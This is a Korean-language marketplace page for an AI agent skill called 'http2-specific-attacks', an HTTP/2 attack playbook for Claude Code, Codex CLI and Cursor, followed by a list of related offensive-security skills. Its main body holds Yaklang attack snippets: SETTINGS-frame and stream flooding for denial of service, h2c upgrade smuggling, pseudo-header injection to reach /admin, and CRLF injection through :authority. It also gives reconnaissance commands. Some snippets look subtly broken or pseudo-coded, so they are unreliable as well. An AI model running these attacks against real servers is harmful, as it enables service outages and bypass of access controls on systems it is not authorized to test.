Community코딩 & 개발github.com

yaklang/http2-specific-attacks

HTTP/2 프로토콜 특화 공격 플레이북입니다. 대상이 HTTP/2를 지원하고 이진 프레이밍, HPACK 압축, h2c 업그레이드 스머글링, 의사 헤더 주입, 스트림 멀티플렉싱 악용 또는 H2→H1 다운그레이드 변환 결함을 악용해야 할 때 사용합니다.

http2-specific-attacks란 무엇인가요?

이 스킬은 HTTP/2 프로토콜의 고유한 취약점을 악용하기 위한 종합적인 공격 플레이북입니다. 이진 프레이밍, HPACK 압축, h2c 업그레이드 스머글링, 의사 헤더 주입, 스트림 멀티플렉싱 악용, 그리고 H2→H1 다운그레이드 변환 결함과 같은 HTTP/2 특화 공격 벡터를 다룹니다. 보안 연구원, 침투 테스터, 그리고 개발자가 HTTP/2를 지원하는 대상의 보안 취약점을 심층적으로 분석하고 악용할 수 있도록 설계되었습니다. 각 공격 기법에 대한 상세한 배경 설명, 공격 시나리오, 그리고 실용적인 공격 코드 예제를 제공하여 실제 환경에서의 적용을 용이하게 합니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/http2-specific-attacks

Installed? Explore more 코딩 & 개발 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

http2-specific-attacks은(는) 무엇을 하나요?

HTTP/2 프로토콜 특화 공격 플레이북입니다. 대상이 HTTP/2를 지원하고 이진 프레이밍, HPACK 압축, h2c 업그레이드 스머글링, 의사 헤더 주입, 스트림 멀티플렉싱 악용 또는 H2→H1 다운그레이드 변환 결함을 악용해야 할 때 사용합니다.

개요

HTTP/2는 HTTP/1.1에 비해 성능 향상을 위해 설계된 프로토콜이지만, 새로운 공격 표면을 도입합니다. 이 스킬은 다음과 같은 HTTP/2 특화 공격을 수행하는 방법을 제공합니다:

  • 이진 프레이밍 악용: HTTP/2 프레임 구조를 조작하여 서버의 예기치 않은 동작 유발
  • HPACK 압축 공격: 헤더 압축 컨텍스트를 오염시켜 정보 누출 또는 서비스 거부 유발
  • h2c 업그레이드 스머글링: 일반 HTTP/1.1 연결을 통해 HTTP/2로 업그레이드하여 보안 통제 우회
  • 의사 헤더 주입: :method, :path, :authority 등의 의사 헤더 필드를 조작하여 요청 라우팅 우회
  • 스트림 멀티플렉싱 악용: 다중 스트림을 사용하여 리소스 고갈 또는 우선순위 위반 공격 수행
  • H2→H1 다운그레이드 변환 결함: HTTP/2 프록시가 HTTP/1.1로 변환할 때 발생하는 프로토콜 해석 차이를 악용

사용 방법

이 플레이북을 사용하려면 대상이 HTTP/2를 지원하는지 확인하십시오. HTTP/2 지원 여부는 curl 또는 nmap과 같은 도구로 확인할 수 있습니다.

# ALPN(Application-Layer Protocol Negotiation) 협상을 통해 HTTP/2 지원 확인
curl -v --http2 https://target.com 2>&1 | grep -i "alpn\|h2"

# nmap을 사용하여 HTTP/2 지원 스캔
nmap --script http2-support -p 443 target.com

공격 기법

1. 이진 프레이밍 악용

HTTP/2 프레임 구조를 조작하여 다음과 같은 공격을 수행합니다:

  • SETTINGS 프레임 플러딩: 서버가 처리할 수 없을 정도로 많은 SETTINGS 프레임을 전송하여 리소스 소진
  • HEADERS 프레임 조작: 잘못된 플래그 또는 길이를 가진 HEADERS 프레임을 전송하여 서버 충돌 유발
  • PRIORITY 프레임 스트림: 우선순위 트리를 복잡하게 만들어 CPU 사용량 증가
// Yaklang 예제: SETTINGS 프레임 플러딩
packet = `PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n`
for i in 0..1000 {
    ch, err = http2_conn.WriteSettingFrame(settings...)
    sleep(0.01)
}

2. HPACK 압축 공격

HPACK 헤더 압축 테이블을 악용하여 정보를 누출합니다:

  • 테이블 크기 조작: 동적 테이블 크기를 0으로 설정하여 압축 효율 저하
  • 인덱스 충돌: 테이블 인덱스를 조작하여 의사 헤더 덮어쓰기
  • 절대 인덱스 참조: 존재하지 않는 인덱스를 참조하여 오류 유발
// Yaklang 예제: HPACK 테이블 크기 조작
http2_conn, err = http2.Dial("https://target.com")
http2_conn.WriteSettings(map[string]interface{}{
    "header_table_size": 0
})

3. h2c 업그레이드 스머글링

일반 HTTP/1.1 연결을 통해 HTTP/2로 업그레이드하여 보안 통제를 우회합니다:

# h2c 업그레이드 요청 전송
curl -v --http2-prior-knowledge http://target.com
// Yaklang 예제: h2c 업그레이드
req = `GET / HTTP/1.1\r\nHost: target.com\r\nUpgrade: h2c\r\nHTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\nConnection: Upgrade, HTTP2-Settings\r\n\r\n`
conn, err = tcp.Connect("target.com:80")
conn.Send(req)
resp = conn.Recv()
die(resp)

// 업그레이드 성공 후 HTTP/2 프레임 전송
http2_conn, err = http2.UpgradeClient(conn)
http2_conn.WriteData(1, true, []byte("Hello, HTTP/2!"))

4. 의사 헤더 주입

HTTP/2 의사 헤더를 조작하여 요청 라우팅을 우회합니다:

  • :scheme 변경: HTTP 요청을 HTTPS로 가장
  • :authority 스푸핑: 호스트 헤더와 다른 도메인으로 요청
  • :path 인코딩 이스케이프: 경로 정규화 우회
// Yaklang 예제: 의사 헤더 주입
headers = [
    [":method", "GET"],
    [":path", "/admin"],
    [":scheme", "https"],
    [":authority", "target.com"],
]
http2_conn, err = http2.Dial("https://target.com")
http2_conn.WriteHeaders(1, headers, true)

5. 스트림 멀티플렉싱 악용

여러 스트림을 동시에 열어 리소스 경합을 유발합니다:

  • 스트림 ID 충돌: 짝수/홀수 ID를 예측하여 RST_STREAM 오용
  • 스트림 의존성 트리 공격: 복잡한 의존성 그래프를 구성하여 서버 CPU 소진
  • 흐름 제어 윈도우 고갈: WINDOW_UPDATE 프레임 조작으로 데이터 흐름 차단
// Yaklang 예제: 스트림 플러딩
http2_conn, err = http2.Dial("https://target.com")
for streamID in 1..1000 {
    headers = [
        [":method", "GET"],
        [":path", "/" + str(streamID)],
        [":authority", "target.com"],
    ]
    http2_conn.WriteHeaders(streamID, headers, true)
}

6. H2→H1 다운그레이드 변환 결함

HTTP/2 프록시가 HTTP/1.1로 변환할 때 발생하는 프로토콜 해석 차이를 악용합니다:

  • 의사 헤더를 일반 헤더로 변환: :method가 일반 헤더로 변환될 때 HTTP 메서드 조작 가능
  • 호스트 헤더 주입: :authority를 호스트 헤더로 변환할 때 추가 헤더 주입
  • 내부 IP 노출: X-Forwarded-For 헤더 변환 과정에서 내부 IP 누출
// Yaklang 예제: H2→H1 변환 악용
headers = [
    [":method", "GET"],
    [":path", "/api/v1/user"],
    [":scheme", "https"],
    [":authority", "target.com\r\nX-Internal: true"],  // 호스트 주입 시도
]
http2_conn, err = http2.Dial("https://proxy.com")
http2_conn.WriteHeaders(1, headers, true)

방어 방법

  • HTTP/2 프레임 유효성 검사 강화
  • HPACK 테이블 크기 제한
  • h2c 업그레이드 비활성화 (필요하지 않은 경우)
  • 의사 헤더 필터링 및 정규화
  • 스트림 제한 및 흐름 제어 적용
  • H2→H1 변환 시 엄격한 검증 수행

참고 자료

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

관련 스킬